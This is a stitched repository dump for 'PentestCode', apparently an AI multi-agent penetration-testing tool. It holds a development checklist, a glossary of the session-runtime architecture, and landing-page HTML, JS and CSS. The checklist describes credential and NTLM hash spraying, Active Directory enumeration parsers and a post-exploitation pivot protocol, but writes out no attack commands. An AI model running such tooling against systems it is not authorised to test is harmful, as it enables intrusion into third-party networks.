auto-create vulns with severity mapping - [x] **gobuster_parse** — parse gobuster/feroxbuster output, classify sensitive files/admin panels/backups - [x] **cme_parse** — parse CrackMapExec/NetExec output, auto-update creds/access/hosts - [x] **bloodhound_parse** — parse SharpHound JSON, populate AD domain model - [x] All parsers registered in registry.ts with agent permissions ### P5: Schema CRUD & Dedup - [x] `addVuln` dedup by (title, service_port) — updates existing on match - [x] `addAccess` dedup by (access_type, username) — updates existing on match - [x] `addHost` merges services by port (not overwrite) via `mergeServices()` - [x] Added `deleteHost`, `updateVuln`, `deleteVuln`, `deleteCredential` to store + state_update ### P6: AD Domain Model - [x] `DomainState` type in schema.ts (domain_name, forest, trusts, domain_admins, domain_controllers, gpo_names, password_policy) - [x] `domain_info` on Host (domain, is_dc, computer_account, forest) - [x] AD fields on Credential (domain, ticket_type, service_principal, ticket_expiry) - [x] `setDomain`/`updateDomain` in store.ts and state_update tool ### P7: Credential Reuse Tool - [x] **cred_spray** — plan/suggest actions, generates spray commands for discovered services - [x] Supports NTLM hash spraying, service filtering, existing-access dedup - [x] Registered with permissions on pentest, identity, infrastructure, post_exploit ### P8: Prompt Realism - [x] `exploit-dev.txt` — realistic capability claims (no ROP chains, honest about LLM limitations) - [x] Host Exhaustion Protocol added to pentest.txt (ACCESS → EXHAUST → PIVOT) - [x] Anti-patterns explicitly documented (tunnel vision, skipping post-exploit) ### Multi-Agent Improvements - [x] 6 new specialist subagents: identity, infrastructure, post_exploit, exploit_dev, critic, webapp - [x] Task graph tool for PTT (Pentesting Task Tree) - [x] Objectives system (add/update/complete objectives) ## What Was Done (Architecture Roadmap — Waves 1-2) ### Wave 1: Foundation - [x] **Confidence Scoring** — `confidence: number` (0.0-1.0) on Vuln, Credential, Access. Parsers set base values (0.9-0.95). Displayed in state_query output and compact context. - [x] **Structured Evidence** — `evidence_items: Array<{tool, command, output, timestamp, confidence}>` on Vuln. Parsers populate with tool name and output. Summary in `evidence` string field, full data in `evidence_items`. - [x] **Changelog** — separate `changelog.json`, every store mutation logged via `logChange()`. `state_query changelog` retrieves entries. Retention capped at 500 entries (`CHANGELOG_MAX_ENTRIES`). Loaded/saved alongside engagement state. ### Wave 2: Intelligence - [x] **State Diff Injection** (#4) — `toDiffContext()` in schema.ts computes delta from changelog entries. `prompt.ts` tracks last injection timestamp via `markInjected()`/`getLastInjectedTimestamp()`. Each LLM turn sees "Changes since last turn:" before the full state dump, showing what's new. `state_query diff` also available. - [x] **Auto-Critic** (#5) — `criticHint()` in schema.ts detects unvalidated vulns (status=suspected, confidence<0.8). Injected into prompt as `<auto-critic>` section with vuln list and instructions to spawn critic subagent. Parser outputs (nmap, nuclei, cme) include `[Auto-critic]` hints suggesting critic validation. Critic agent stays READ-ONLY, returns verdict → coordinator updates state. - [ - CONTEXT.md (32154 bytes)
# PentestCode Session Runtime PentestCode sessions preserve durable conversational history while assembling the runtime context an agent needs to act correctly in its current environment. ## Language **System Context**: The structured collection of contextual facts presented to the model as initial instructions and chronological updates. _Avoid_: System prompt **Session History**: The projected chronological conversation selected for a provider turn after applying the active compaction and **Context Epoch** cutoffs. _Avoid_: Session Context **Context Source**: One independently observed typed value within the **System Context**, represented by a stable key, JSON codec, infallible loader, pure baseline/update renderers, and an optional removal renderer for dynamic sources. _Avoid_: Prompt fragment **System Context Registry**: The Location-scoped registry of ordered, scoped producers that contribute to the current **System Context**. **Mid-Conversation System Message**: A durable chronological instruction that tells the model the newly effective state of a changed **Context Source**. _Avoid_: System update, system notification, raw text diff **Context Epoch**: The span during which one initially rendered **System Context** remains the immutable provider-cache baseline, ending at completed compaction, Session movement, or an incompatible context transition that requires a fresh baseline. **Baseline System Context**: The full **System Context** rendered at the start of a **Context Epoch**. _Avoid_: Live system prompt **Context Snapshot**: The overwriteable model-hidden JSON state used to compare each **Context Source** with the value last admitted to a provider turn. **Unavailable Context**: An expected temporary inability to observe a **Context Source** value; the runtime retains its prior effective state and emits no update, or omits it until first successfully loaded. **Safe Provider-Turn Boundary**: The point immediately before a provider call, after durable input promotion and any required tool settlement, where context changes may be admitted chronologically. **Admitted Prompt**: A durable user input accepted into the Session inbox but not yet included in **Session History**. **Prompt Promotion**: The durable transition that removes an **Admitted Prompt** from pending input and appends its user message to **Session History**. **Provider Turn**: One request to a model provider and the response projected from that request. **Session Drain**: One process-local execution span that promotes eligible input and runs required **Provider Turns** until no immediate continuation remains. A Session Drain has no durable identity or transcript boundary. **Model Tool Output**: The bounded projection of a Core-executed tool result persisted in Session history and replayed to the model. A tool may shape this projection semantically, but the Tool Registry enforces the final size limit. **Managed Tool Output File**: A temporary file created under PentestCode's shared tool-output directory to retain complete output that was too large for Session history. **Model Request Options**: Provider-semantic model settings selected from the Catalog and active Session variant before the LLM protocol adapter encodes them for a provider request. _Avoid_: Request body, wire options **Generation Controls**: Provider-neutral sampling and output controls, partitioned from provider semantics and compatibility wire fields when model metadata enters the Catalog. **Native Continuation Metadata**: Opaque protocol-shaped data attached to assistant content and required to continue that content natively with a compatible model, such as a reasoning signature or provider-hosted item identifier. **PTY Environment**: The host-supplied environment overlay applied by the server when creating a PTY, observed for the request Location and resolved PTY working directory. **PentestCode Client**: The generated Promise and Effect APIs derived from the public `HttpApi`; **Embedded PentestCode** shares the Effect API through an in-memory `HttpClient` against the same router and handlers. _Avoid_: Remote client **SDK Contract IR**: The runtime-neutral compiled representation of the authoritative `HttpApi`, preserving encoded and decoded type projections plus transport metadata so independent SDK emitters can choose their public value model and runtime interpreter. **Embedded PentestCode**: A scoped in-process host that structurally extends the **PentestCode Client**, supplies an in-memory HTTP transport, and exposes additional same-process capabilities directly. _Avoid_: Local implementation **Page**: A bounded ordered result containing `items` and opaque `previous` and `next` cursor links for navigating the same query in either direction. _Avoid_: Response envelope ## Relationships - A **System Context** is an opaque carrier composed from zero or more **Context Sources**. - **Session History** contains projected conversational messages and admitted **Mid-Conversation System Messages**; the active **Baseline System Context** remains separate provider-request state. - The **System Context Registry** uses stable-keyed scoped contributions to assemble the current **System Context**; contributor removal naturally removes its sources at the next **Safe Provider-Turn Boundary**. - A changed **Context Source** may produce one **Mid-Conversation System Message** containing its newly effective state. - A **Mid-Conversation System Message** persists the exact combined rendered text sent to the model. - The current **Context Snapshot** advances atomically with the corresponding durable **Mid-Conversation System Message**. - A **Context Snapshot** stores one codec-encoded JSON value and, for removable dynamic sources, a pre-rendered removal message per stable **Context Source** key. - Changes from multiple **Context Sources** admitted at one safe boundary combine into one **Mid-Conversation System Message**. - Context changes are sampled and admitted lazily at a **Safe Provider-Turn Boundary**, never pushed asynchronously when their source changes. - At a **Safe Provider-Turn Boundary**, newly promoted user input or settled tool results precede any combined **Mid-Conversation System Message**. - An **Admitted Prompt** is replayable pending input, not yet model-visible **Session History**. - **Prompt Promotion** atomically consumes the pending inbox entry and appends its model-visible user message. - Steering prompts promote at the next **Safe Provider-Turn Boundary** while the current **Session Drain** still requires continuation. Promoting any newly admitted user input resets the selected agent's provider-turn allowance; multiple prompts promoted at one boundary reset it once. - A queued prompt does not promote while the current **Session Drain** requires continuation. The runner promotes one queued prompt when the Session would otherwise become idle, then reevaluates continuation before promoting another. - A **Session Drain** is process-local coordination rather than a durable domain entity. Durable recovery must reason from prompts, projected history, provider attempts, and tool state rather than inventing an enclosing execution identity. - The first provider turn renders the latest complete **Baseline System Context** and initializes its **Context Snapshot** without emitting a redundant **Mid-Conversation System Message**; unavailable initial context blocks the turn instead of persisting an incomplete baseline. - Initial **System Context** preparation precedes the first durable input promotion so an unavailable baseline leaves that input pending and retryable; ordinary reconciliation remains after promotion. - Compaction starts a new **Context Epoch** with a freshly rendered **Baseline System Context** and **Context Snapshot**; prior **Mid-Conversation System Messages** remain durable audit history but leave projected model history. - A newly registered core or plugin-defined **Context Source** absent from the current snapshot emits its baseline rendering once at the next **Safe Provider-Turn Boundary**. - **Context Source** keys are stable and namespaced; duplicate keys fail composition. `SystemContext.combine(...)` preserves caller order; the **System Context Registry** evaluates producers concurrently and combines them in stable contribution-key order so rendered context remains deterministic. - Each **Context Source** loader returns one coherent typed value. `SystemContext.make(...)` hides that value type so differently typed sources compose uniformly. Its codec compares and stores that value; its pure renderers produce model-visible baseline, update, and removal text only when needed. - `SystemContext.initialize(...)` observes a composed **System Context** once and produces a fresh **Baseline System Context** with its **Context Snapshot**. - `SystemContext.reconcile(...)` observes a composed **System Context** once and returns exactly one next action: unchanged, updated, replacement ready, or replacement blocked. - `SystemContext.replace(...)` renders a fresh generation after completed compaction or another baseline-replacing transition; it reports replacement blocked while previously admitted context is unavailable. - **Unavailable Context** uses stale-while-revalidate semantics and is distinct from a successfully loaded absence, which may emit removal text. - Ordinary **Context Source** loaders return values directly; loaders that intentionally use stale-while-revalidate may explicitly return **Unavailable Context**. - Nested project instruction discovery after successful reads remains a follow-up; when implemented, discovered instructions must be admitted durably at the next **Safe Provider-Turn Boundary**. - Location-scoped services naturally re-resolve effective context when a moved session next runs in its destination location. - Moving a Session clears its active **Context Epoch**, so the destination must initialize a complete baseline before another prompt can promote. - Instruction discovery, source identity, persistence, and file loading belong to the instruction service; the **System Context** abstraction only composes effectful producers and renders loaded values. - The first instruction-service slice observes global and upward project `AGENTS.md` files as one ordered aggregate **Context Source** at each **Safe Provider-Turn Boundary**. - Built-in and instruction context producers register through the **System Context Registry** with stable contribution keys. Plugin-defined context registration and hot-reload lifecycle remain a follow-up built on the same scoped registry seam. - Selected-agent available-skill guidance is a **Context Source** composed with Location-wide registry sources immediately before Context Epoch admission. It lists only names and descriptions permitted for that agent; skill bodies and locations are exposed only through the permission-checked `skill` tool. - The selected agent and model are sampled when a provider turn starts. Changes admitted after that boundary apply to the next provider turn and do not restart the current turn. - Selected-agent available-skill guidance remains a **Context Source**. An agent switch that changes that guidance produces a **Mid-Conversation System Message** while preserving the current baseline. - Local tool authorization and pending permission requests retain the effective agent of the provider turn that issued the call; a later agent switch cannot change that call's policy. - Context source changes never wake idle sessions; the next naturally scheduled **Safe Provider-Turn Boundary** loads and compares current values lazily. - Once admitted, a **Mid-Conversation System Message** remains durable even if the following provider attempt fails and is replayed unchanged on retry. - **Mid-Conversation System Messages** remain durable Session-message history; normal user-facing transcript surfaces may hide them. - The date **Context Source** initially preserves host-local calendar-date behavior; a configured user timezone may replace that default later. - A **Context Epoch** begins with one immutable **Baseline System Context**. - A **Baseline System Context** is stored durably and reused verbatim across process restarts within its **Context Epoch**. - A **Baseline System Context** durably preserves the exact joined text used for the active provider-cache prefix. - Completed compaction starts a new **Context Epoch** on the next provider attempt, folding the current complete **System Context** into a fresh baseline and removing earlier **Mid-Conversation System Messages** from active model history. - A model/provider switch preserves the current **Context Epoch** and chronological conversation history; the new selection applies to the next provider turn. - **Native Continuation Metadata** remains in durable history. Provider-turn projection includes it only for a successful exact originating provider/model match; failed turns and incompatible models omit opaque metadata, while non-empty visible reasoning lowers to ordinary assistant text after a model switch. This conservative relation may widen only when recorded provider tests establish compatibility. - **Model Request Options** remain provider-semantic through Catalog resolution. The Session runner maps them into the LLM package's provider-option namespace; the selected protocol adapter alone owns provider wire encoding. - **Generation Controls**, protocol-semantic **Model Request Options**, and compatibility request body fields are separate Catalog domains. A shared ingestion adapter partitions legacy and models.dev AI-SDK-shaped options before routing. - The **PTY Environment** is a server concern rather than a Core PTY concern. PTY creation merges caller values, then the host overlay, then Core-forced terminal invariants such as `TERM` and `OPENCODE_TERMINAL`. - Networked and **Embedded PentestCode** use the same **PentestCode Client** and preserve the full HTTP encoding, routing, middleware, and decoding boundary; only the `HttpClient` transport differs. - The Effect-native network constructor obtains `HttpClient.HttpClient` from its environment so callers own transport selection, recording, tracing, retries, and tests. Convenience runtimes may provide a fetch transport separately. - Creating **Embedded PentestCode** is scoped. Closing its owning Scope releases the in-process server resources, database resources, registrations, and fibers. - **Embedded PentestCode** exposes shared client capabilities and embedded-only capabilities on one object; consumers do not navigate through a nested `.client` property. - The beta **PentestCode Client** currently uses plural consumer-facing capability groups such as `sessions`; whether the stable Session namespace should instead be singular `session` must be settled before stabilization. Internal server identifiers do not implicitly define public client names. - Server's concrete `HttpApi`
- docs/assets/README.txt (211 bytes)
Place an optimized, muted, looping MP4 at assets/loop.mp4. Recommended: 1920x1080 or 1280x720, H.264, 24-30fps, 5-10MB, no audio. The site gracefully falls back to the dark CSS background if the video is absent.
- docs/index.html (8660 bytes)
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <meta name="theme-color" content="#070707"> <meta name="description" content="PentestCode — autonomous penetration testing, orchestrated by intelligent security agents."> <title>PentestCode — Security, Orchestrated.</title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=DM+Mono:wght@400;500&family=Inter:wght@400;500;600;700;800;900&display=swap" rel="stylesheet"> <link rel="stylesheet" href="style.css"> </head> <body> <div class="noise"></div> <div class="cursor cursor-dot"></div> <div class="cursor cursor-ring"></div> <div class="site-bg" aria-hidden="true"> <video autoplay muted loop playsinline preload="metadata"> <source src="assets/loop.mp4" type="video/mp4"> </video> <div class="bg-vignette"></div> <div class="grid"></div> </div> <header class="nav"> <a class="brand magnetic" href="#" data-strength="12"> <span class="brand-mark">P</span> <span>PENTEST<span class="dim">CODE</span></span> </a> <div class="nav-meta"> <span class="status"><i></i> SYSTEM ONLINE</span> <a class="nav-link magnetic" data-strength="8" href="https://github.com/s0ld13rr/pentestcode" target="_blank" rel="noreferrer">GITHUB ↗</a> </div> </header> <main> <section class="hero section"> <div class="hero-copy"> <p class="eyebrow"><span>01</span> AUTONOMOUS SECURITY OPERATIONS</p> <h1 data-scramble="PENTESTCODE">PENTEST<span>CODE</span></h1> <p class="hero-sub">Security,<br><em>orchestrated.</em></p> <div class="hero-actions"> <a href="https://github.com/s0ld13rr/pentestcode" target="_blank" rel="noreferrer" class="button button-primary magnetic" data-strength="18"> <span>VIEW ON GITHUB</span><b>↗</b> </a> <a href="#architecture" class="button button-ghost magnetic" data-strength="12"> <span>EXPLORE SYSTEM</span><b>↓</b> </a> </div> </div> <div class="hero-visual" aria-hidden="true"> <div class="orbital o1"></div> <div class="orbital o2"></div> <div class="orbital o3"></div> <div class="core"> <span class="core-pulse"></span> <span class="core-label">PENTEST</span> <span class="core-code">COORDINATOR</span> </div> <div class="agent a1"><i></i><span>RECON</span></div> <div class="agent a2"><i></i><span>SCANNER</span></div> <div class="agent a3"><i></i><span>WEB APP</span></div> <div class="agent a4"><i></i><span>ENUM</span></div> <svg class="hero-lines" viewBox="0 0 600 600"> <path d="M300 300 L105 130 M300 300 L495 170 M300 300 L485 455 M300 300 L120 470"/> </svg> </div> <div class="scroll-note"><span></span> SCROLL TO ENGAGE</div> </section> <section class="architecture section" id="architecture"> <div class="section-head"> <p class="eyebrow"><span>02</span> THE ARCHITECTURE</p> <p class="section-note">One coordinator.<br>Specialized agents.<br>Shared context.</p> </div> <div class="architecture-stage"> <div class="arch-word">AGENTS</div> <div class="arch-center"> <div class="center-ring"></div> <strong>PENTEST</strong> <small>ORCHESTRATOR</small> </div> <div class="arch-node n1"><b>01</b><span>RECON</span></div> <div class="arch-node n2"><b>02</b><span>SCANNER</span></div> <div class="arch-node n3"><b>03</b><span>WEB APP</span></div> <div class="arch-node n4"><b>04</b><span>IDENTITY</span></div> <div class="arch-node n5"><b>05</b><span>EXPLOIT</span></div> <div class="arch-node n6"><b>06</b><span>REPORT</span></div> <svg class="arch-svg" viewBox="0 0 1000 600" preserveAspectRatio="none"> <path d="M500 300 C360 180 220 130 80 100"/> <path d="M500 300 C390 210 350 110 290 55"/> <path d="M500 300 C455 210 455 100 470 35"/> <path d="M500 300 C610 210 650 100 710 55"/> <path d="M500 300 C640 220 780 160 920 110"/> <path d="M500 300 C650 370 790 460 925 520"/> </svg> </div> </section> <section class="terminal-section section"> <div class="terminal-wrap"> <div class="terminal-top"> <span><i></i><i></i><i></i></span> <small>engagement://active</small> <small>01:42:17</small> </div> <div class="terminal-body"> <p><span class="muted">$</span> pentestcode <span class="target">--target</span> 10.0.0.42</p> <p class="log"><b>01</b> coordinator initialized</p> <p class="log"><b>02</b> dispatching reconnaissance agent <span>●</span></p> <p class="log"><b>03</b> service enumeration synchronized <span>●</span></p> <p class="log"><b>04</b> vulnerability analysis in progress <span>●</span></p> <p class="log dimmed"><b>05</b> awaiting agent state...</p> <div class="terminal-caret"></div> </div> </div> <div class="terminal-caption"> <p class="eyebrow"><span>03</span> ONE COMMAND</p> <h2>LET THE<br><span>AGENTS</span> WORK.</h2> </div> </section> <section class="state-section section"> <div class="section-head"> <p class="eyebrow"><span>04</span> ENGAGEMENT STATE</p> <p class="section-note">Context persists.<br>Relationships emerge.</p> </div> <div class="state-graph" aria-hidden="true"> <div class="graph-node host"><small>HOST</small><strong>10.0.0.42</strong></div> <div class="graph-node service"><small>SERVICE</small><strong>443 / HTTPS</strong></div> <div class="graph-node vuln"><small>VULNERABILITY</small><strong>AUTH BYPASS</strong></div> <div class="graph-node cred"><small>CREDENTIAL</small><strong>SESSION TOKEN</strong></div> <div class="graph-node access"><small>ACCESS</small><strong>USER → ROOT</strong></div> <svg viewBox="0 0 1200 520" preserveAspectRatio="none"> <path d="M160 260 C310 130 390 130 505 240"/> <path d="M595 260 C720 110 780 110 930 215"/> <path d="M1000 290 C900 390 770 410 620 300"/> <path d="M510 320 C400 440 290 425 160 320"/> </svg> </div> </section> <section class="capabilities section"> <div class="section-head"> <p class="eyebrow"><span>05</span> SYSTEM CAPABILITIES</p> </div> <div class="cap-list"> <div class="cap"><span>01</span><strong>MULTI-AGENT</strong><i>COORDINATED SPECIALISTS</i></div> <div class="cap"><span>02</span><strong>PERSISTENT STATE</strong><i>CONTEXT THAT SURVIVES</i></div> <div class="cap"><span>03</span><strong>PARALLEL OPERATIONS</strong><i>MORE WORK, LESS WAIT</i></div> <div class="cap"><span>04</span><strong>20+ PROVIDERS</strong><i>MODEL FLEXIBILITY</i></div> <div class="cap"><span>05</span><strong>ATTACK PATHS</strong><i>RELATIONSHIPS, NOT JUST FINDINGS</i></div> <div class="cap"><span>06</span><strong>REPORTING</strong><i>FROM ENGAGEMENT TO OUTPUT</i></div> </div> </section> <section class="install section"> <div class="install-inner"> <p class="eyebrow"><span>06</span> START AN ENGAGEMENT</p> <h2>ONE COMMAND.<br><span>THEN EVERYTHING MOVES.</span></h2> <div class="install-code magnetic" data-strength="4"> <span class="prompt">$</span> <code>npm install -g pentestcode-ai</code> <button class="copy" type="button" aria-label="Copy install command">COPY</button> </div> </div> </section> <section class="final section"> <div class="final-mark">P</div> <p class="eyebrow"><span>07</span> PENTESTCODE</p> <h2>RUN THE<br><em>ENGAGEMENT.</em></h2> <a class="button button-primary magnetic" data-strength="20" href="https://github.com/s0ld13rr/pentestcode" target="_blank" rel="noreferrer"> <span>OPEN GITHUB</span><b>↗</b> </a> </section> </main> <footer> <span>PENTESTCODE</span> <span>OPEN SOURCE SECURITY TOOLING</span> <a href="https://github.com/s0ld13rr/pentestcode" target="_blank" rel="noreferrer">GITHUB ↗</a> </footer> <script src="script.js"></script> </body> </html> - docs/script.js (3575 bytes)
const $ = s => document.querySelector(s); const $$ = s => [...document.querySelectorAll(s)]; const dot = $('.cursor-dot'); const ring = $('.cursor-ring'); let mx = innerWidth/2, my = innerHeight/2, rx = mx, ry = my; window.addEventListener('pointermove', e => { mx=e.clientX; my=e.clientY; if(dot){dot.style.left=mx+'px';dot.style.top=my+'px'} }); function cursorLoop(){ rx += (mx-rx)*.13; ry += (my-ry)*.13; if(ring){ring.style.left=rx+'px';ring.style.top=ry+'px'} requestAnimationFrame(cursorLoop); } cursorLoop(); $$('.magnetic').forEach(el=>{ el.addEventListener('pointermove',e=>{ const r=el.getBoundingClientRect(), s=+(el.dataset.strength||10); const x=(e.clientX-(r.left+r.width/2))/r.width*s; const y=(e.clientY-(r.top+r.height/2))/r.height*s; el.style.transform=`translate(${x}px,${y}px)`; ring?.classList.add('hover'); }); el.addEventListener('pointerleave',()=>{el.style.transform='';ring?.classList.remove('hover')}); }); $$('a,button,.arch-node,.graph-node,.cap').forEach(el=>{ el.addEventListener('mouseenter',()=>ring?.classList.add('hover')); el.addEventListener('mouseleave',()=>ring?.classList.remove('hover')); }); // Subtle parallax without a framework. const heroVisual=$('.hero-visual'); window.addEventListener('pointermove',e=>{ if(!heroVisual || innerWidth<901)return; const x=(e.clientX/innerWidth-.5), y=(e.clientY/innerHeight-.5); heroVisual.style.transform=`translate(${x*18}px,calc(-50% + ${y*12}px)) rotateY(${x*4}deg) rotateX(${-y*3}deg)`; },{passive:true}); // Scroll choreography: sections translate their internal systems rather than simple reveal. const arch=$('.architecture-stage'), terminal=$('.terminal-wrap'), graph=$('.state-graph'); function clamp(v,a,b){return Math.max(a,Math.min(b,v))} function scrollFX(){ const vh=innerHeight; const a=arch?.getBoundingClientRect(); if(a){ const p=clamp((vh-a.top)/(vh+a.height),0,1); arch.style.transform=`perspective(1300px) rotateX(${(p-.5)*7}deg) translateY(${(p-.5)*-22}px)`; } const t=terminal?.getBoundingClientRect(); if(t){ const p=clamp((vh-t.top)/(vh+t.height),0,1); terminal.style.transform=`perspective(1200px) rotateY(${(p-.5)*-9}deg) rotateX(${(p-.5)*3}deg) translateX(${(p-.5)*18}px)`; } const g=graph?.getBoundingClientRect(); if(g){ const p=clamp((vh-g.top)/(vh+g.height),0,1); graph.style.transform=`perspective(1100px) rotateX(${(p-.5)*5}deg)`; graph.querySelectorAll('.graph-node').forEach((n,i)=>{ n.style.transform=`translate3d(${Math.sin(p*6+i)*5}px,${Math.cos(p*5+i)*5}px,${i*3}px)`; }); } requestAnimationFrame(scrollFX); } scrollFX(); const copy=$('.copy'); copy?.addEventListener('click',async()=>{ try{ await navigator.clipboard.writeText('npm install -g pentestcode-ai'); copy.textContent='COPIED'; setTimeout(()=>copy.textContent='COPY',1400); }catch{copy.textContent='SELECT MANUALLY';} }); // Tiny live terminal clock. const clock=$('.terminal-top small:last-child'); let start=Date.now(); setInterval(()=>{ if(!clock)return; const s=Math.floor((Date.now()-start)/1000); const h=String(Math.floor(s/3600)).padStart(2,'0'); const m=String(Math.floor(s%3600/60)).padStart(2,'0'); const sec=String(s%60).padStart(2,'0'); clock.textContent=`${h}:${m}:${sec}`; },1000); // Smooth active section accent. const sections=$$('section'); const observer=new IntersectionObserver(entries=>{ entries.forEach(e=>e.target.classList.toggle('active',e.isIntersecting)); },{threshold:.35}); sections.forEach(s=>observer.observe(s)); - docs/style.css (13672 bytes)
*{box-sizing:border-box}html{scroll-behavior:smooth}body{margin:0;background:#070707;color:#f4f2ef;font-family:Inter,system-ui,sans-serif;overflow-x:hidden}.noise{position:fixed;inset:-50%;z-index:20;pointer-events:none;opacity:.035;background-image:url("data:image/svg+xml,%3Csvg viewBox='0 0 180 180' xmlns='http://www.w3.org/2000/svg'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='.85' numOctaves='4' stitchTiles='stitch'/%3E%3C/filter%3E%3Crect width='100%25' height='100%25' filter='url(%23n)' opacity='.9'/%3E%3C/svg%3E");animation:noise .18s steps(2) infinite}.site-bg{position:fixed;inset:0;z-index:-3;background:#070707;overflow:hidden}.site-bg video{width:100%;height:100%;object-fit:cover;opacity:.24;filter:saturate(.5) contrast(1.2)}.bg-vignette{position:absolute;inset:0;background:radial-gradient(circle at 55% 35%,transparent 0,rgba(7,7,7,.38) 42%,#070707 90%)}.grid{position:absolute;inset:0;opacity:.09;background-image:linear-gradient(rgba(255,255,255,.12) 1px,transparent 1px),linear-gradient(90deg,rgba(255,255,255,.12) 1px,transparent 1px);background-size:80px 80px;mask-image:linear-gradient(to bottom,black,transparent 80%)}.nav{position:fixed;z-index:30;top:0;left:0;right:0;height:82px;padding:0 4vw;display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid rgba(255,255,255,.07);backdrop-filter:blur(18px);background:rgba(7,7,7,.18)}.brand{display:flex;align-items:center;gap:11px;color:#fff;text-decoration:none;font:600 12px/1 "DM Mono",monospace;letter-spacing:.13em}.brand-mark{display:grid;place-items:center;width:28px;height:28px;border:1px solid rgba(255,255,255,.4);font:700 14px Inter;transform:skew(-8deg)}.dim{opacity:.35}.nav-meta{display:flex;gap:34px;align-items:center;font:500 10px "DM Mono",monospace;letter-spacing:.13em}.status{color:#aaa}.status i{display:inline-block;width:5px;height:5px;border-radius:50%;background:#ff4d3d;box-shadow:0 0 13px #ff4d3d;margin-right:8px}.nav-link{color:#eee;text-decoration:none}.section{position:relative;min-height:100vh;padding:130px 7vw}.hero{height:100vh;min-height:720px;padding-top:180px;display:flex;align-items:center}.hero-copy{position:relative;z-index:4;max-width:850px}.eyebrow{font:500 10px "DM Mono",monospace;letter-spacing:.16em;color:#999;margin:0 0 30px}.eyebrow span{color:#ff5848;margin-right:16px}.hero h1{font-size:clamp(76px,14vw,205px);line-height:.78;letter-spacing:-.085em;margin:0;white-space:nowrap;font-weight:800;transform:translateX(-.04em)}.hero h1 span{display:block;margin-left:.42em;color:transparent;-webkit-text-stroke:1px rgba(255,255,255,.65)}.hero-sub{font-size:clamp(25px,3vw,48px);line-height:.96;letter-spacing:-.04em;margin:42px 0 34px;color:#d8d5d1}.hero-sub em{color:#777;font-style:normal}.hero-actions{display:flex;gap:12px}.button{display:inline-flex;align-items:center;justify-content:space-between;gap:38px;height:50px;padding:0 18px;text-decoration:none;font:500 10px "DM Mono",monospace;letter-spacing:.08em;border:1px solid rgba(255,255,255,.2);transition:.3s ease}.button b{font-size:15px;font-weight:400}.button-primary{background:#f1efea;color:#080808;border-color:#f1efea}.button-primary:hover{background:#ff5949;border-color:#ff5949}.button-ghost{color:#eee}.button-ghost:hover{border-color:#aaa}.hero-visual{position:absolute;right:3vw;top:50%;width:min(50vw,680px);aspect-ratio:1;transform:translateY(-50%);opacity:.85}.orbital{position:absolute;inset:8%;border:1px solid rgba(255,255,255,.13);border-radius:50%;transform:rotate(26deg) skew(-10deg);animation:orbit 17s linear infinite}.o2{inset:20%;transform:rotate(-43deg) skew(13deg);animation-duration:11s;border-color:rgba(255,82,67,.3)}.o3{inset:1%;transform:rotate(75deg) skew(-18deg);animation-duration:28s;border-color:rgba(255,255,255,.08)}.core{position:absolute;left:50%;top:50%;width:150px;height:150px;transform:translate(-50%,-50%);border-radius:50%;display:flex;flex-direction:column;align-items:center;justify-content:center;border:1px solid rgba(255,255,255,.35);background:rgba(10,10,10,.58);backdrop-filter:blur(12px);box-shadow:0 0 70px rgba(255,69,54,.13),inset 0 0 35px rgba(255,255,255,.04)}.core-pulse{position:absolute;inset:-15px;border:1px solid rgba(255,70,55,.25);border-radius:50%;animation:pulse 2.8s ease-out infinite}.core-label{font:600 13px "DM Mono";letter-spacing:.08em}.core-code{font:9px "DM Mono";color:#777;margin-top:8px}.agent{position:absolute;font:500 9px "DM Mono";letter-spacing:.12em;display:flex;align-items:center;gap:7px;color:#bbb}.agent i{width:5px;height:5px;border-radius:50%;background:#ff5545;box-shadow:0 0 12px #ff5545}.a1{left:7%;top:20%}.a2{right:4%;top:30%}.a3{right:10%;bottom:17%}.a4{left:12%;bottom:13%}.hero-lines{position:absolute;inset:0;width:100%;height:100%;stroke:rgba(255,255,255,.12);stroke-width:1;fill:none;stroke-dasharray:4 8;animation:dash 12s linear infinite}.scroll-note{position:absolute;bottom:38px;left:7vw;font:500 9px "DM Mono";letter-spacing:.16em;color:#777}.scroll-note span{display:inline-block;width:35px;height:1px;background:#777;vertical-align:middle;margin-right:13px}.section-head{display:flex;justify-content:space-between;align-items:flex-start;position:relative;z-index:3}.section-note{font-size:clamp(18px,2vw,29px);line-height:1.02;letter-spacing:-.045em;color:#aaa;margin:0;text-align:right}.architecture{min-height:115vh}.architecture-stage{position:relative;height:650px;max-width:1200px;margin:20px auto 0}.arch-word{position:absolute;left:50%;top:45%;transform:translate(-50%,-50%);font-size:clamp(90px,16vw,220px);font-weight:800;letter-spacing:-.1em;color:rgba(255,255,255,.035);white-space:nowrap}.arch-center{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:170px;height:170px;border:1px solid rgba(255,255,255,.3);border-radius:50%;display:grid;place-content:center;text-align:center;background:#090909;z-index:3;box-shadow:0 0 100px rgba(255,67,51,.09)}.arch-center strong{font-size:16px;letter-spacing:-.04em}.arch-center small{font:9px "DM Mono";color:#777;margin-top:6px}.center-ring{position:absolute;inset:-22px;border:1px solid rgba(255,73,58,.22);border-radius:50%;animation:pulse 3s ease-out infinite}.arch-node{position:absolute;z-index:4;width:125px;padding:12px;border:1px solid rgba(255,255,255,.13);background:rgba(10,10,10,.7);backdrop-filter:blur(8px);font:10px "DM Mono";transition:transform .5s cubic-bezier(.2,.8,.2,1),border-color .3s}.arch-node:hover{transform:scale(1.08) translateY(-5px);border-color:#ff5545}.arch-node b{display:block;color:#ff5545;font-size:8px;margin-bottom:12px}.n1{left:3%;top:16%}.n2{left:27%;top:2%}.n3{left:45%;top:-2%}.n4{right:23%;top:7%}.n5{right:3%;top:20%}.n6{right:3%;bottom:12%}.arch-svg{position:absolute;inset:0;width:100%;height:100%;overflow:visible;fill:none;stroke:rgba(255,255,255,.13);stroke-width:1;stroke-dasharray:3 9;animation:dash 15s linear infinite}.terminal-section{min-height:120vh;display:flex;flex-direction:column;justify-content:center;gap:80px}.terminal-wrap{width:min(920px,100%);margin-left:auto;margin-right:5vw;background:rgba(8,8,8,.82);border:1px solid rgba(255,255,255,.14);box-shadow:0 40px 120px rgba(0,0,0,.35);transform:perspective(1200px) rotateY(-5deg) rotateX(2deg);transition:transform .2s ease}.terminal-top{height:38px;border-bottom:1px solid 